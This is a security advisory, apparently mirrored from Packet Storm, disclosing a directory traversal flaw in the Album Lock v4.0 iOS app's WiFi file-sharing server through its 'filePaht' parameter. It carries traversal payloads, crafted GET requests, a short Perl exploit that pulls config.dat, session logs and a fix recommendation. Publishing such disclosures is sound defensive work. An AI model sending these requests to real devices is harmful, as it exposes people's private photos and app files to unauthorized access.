Album Lock 4.0 Directory Traversal

2017-02-22T00:00:00
ID PACKETSTORM:141223
Type packetstorm
Reporter Benjamin Kunz Mejri
Modified 2017-02-22T00:00:00

Description

                                        
                                            `Document Title:  
===============  
Album Lock v4.0 iOS - Directory Traversal Vulnerability  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2033  
  
  
Release Date:  
=============  
2017-02-20  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2033  
  
  
Common Vulnerability Scoring System:  
====================================  
7.2  
  
  
Product & Service Introduction:  
===============================  
Do you have any secret photo and videos in your iPhone? Album Lock can protect your privacy perfectly. Album is the most   
convenient private Photo&Video App! You can add your SPECIAL photos&videos into AlbumLock, we provides many convenient ways.   
>From Photo App(Camera Roll), iTunes File Sharing Sync, WiFi Transfer and in App Camera.  
  
(Copy of the Homepage: https://itunes.apple.com/us/app/album-lock-lock-secret-photo/id851608952 )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered a directory traversal web vulnerability in the official Album Lock v4.0 ios mobile application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2017-02-20: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
High  
  
  
Technical Details & Description:  
================================  
A directory traversal web vulnerability has been dsicovered in the official Album Lock v4.0 iOS mobile web-application.  
The issue allows an attackers to unauthorized request and download local application files by manipulation of path parameters.  
  
The directory traversal web vulnerability is located in the `filePaht` parameter of the wifi web-server interface. Remote attackers   
are able to request the local web-server during the sharing process to access unauthenticated application files. Attackers are able   
to request via `getObject` image path variables to access or download files. Remote attackers are able to access the root `document`   
path of the application. The request method to execute is GET and the attack vector is located on the client-side of the web-server   
web-application. Finally an attacker is able to access with the credentials the service by using a client via http protocol.  
  
The security risk of the directory traversal vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.2.   
Exploitation of the web vulnerability requires no privilege web-application user account or user interaction. Successful exploitation of the   
vulnerability results in information leaking, mobile application compromise by unauthorized and unauthenticated access.  
  
Request Method(s):  
[+] GET  
  
Vulnerable Module(s):  
[+] getObject  
  
Vulnerable Parameter(s):  
[+] filePaht  
  
Affected Module(s):  
[+] Web-Server File System  
  
  
Proof of Concept (PoC):  
=======================  
The security vulnerability can be exploited by remote attackers without user interaction or privilege web-application user account.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
  
Standard Request:  
http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/Documents/._alias_images/fhhjjj/picture-00001.png  
  
  
PoC: Payload  
/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C./../../../Application  
  
  
Malicious Request: Exploitation  
http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/Documents/  
http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/  
http://localhost:8880/getImage?filePaht=/var/mobile/  
  
  
PoC: Exploit  
use strict;  
use LWP::UserAgent;  
my $b = LWP::UserAgent->new();  
my $host = "1.1.1.1:5555";  
print $b->get("http://".$host."/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/config.dat")->content;  
  
  
--- PoC Session Logs [GET] ---  
Status: 200[OK]  
GET http://localhost:8880/getImage?filePaht=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C./../../../Application   
Mime Type[application/x-unknown-content-type]  
Request Header:  
Host[localhost:8880]  
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]  
Accept[*/*]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Referer[http://localhost:8880/list_gif.html?folder=/var/mobile/Containers/Data/Application/FD29A0B7-9931-4A7F-A9AA-3942B539DC8C/]  
Connection[keep-alive]  
Response Header:  
Accept-Ranges[bytes]  
  
  
Reference(s):  
http://localhost:8880/  
http://localhost:8880/getImage  
http://localhost:8880/getImage?filePaht=  
http://localhost:8880/list_gif.html  
http://localhost:8880/list_gif.html?folder=  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be patch by disallowing the filepaht parameter to request upper local paths outside the document folder.  
Include a whitelist of allowed requested path and setup a secure exception to prevent on exploitation.  
  
  
Security Risk:  
==============  
The security risk of the directory traversal web vulnerability in the mobile application is estimated as high. (CVSS 7.2)  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)  
  
  
Disclaimer & Information:  
=========================  
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